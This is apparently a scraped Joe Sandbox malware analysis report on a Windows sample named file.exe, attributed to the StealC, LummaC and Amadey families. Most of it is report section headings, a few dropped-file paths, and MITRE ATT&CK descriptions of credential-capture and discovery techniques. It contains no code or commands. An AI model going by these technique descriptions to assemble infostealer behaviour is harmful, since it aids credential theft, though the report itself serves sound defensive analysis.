Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0a29ef6c7c.exe_4179128e2243a235202fd028dfd590eaab67a69b_e007237b_c19615dd-a3a9-400a-b5d6-380805308cf1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3536.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER398C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3A29.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9f58872eb6.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre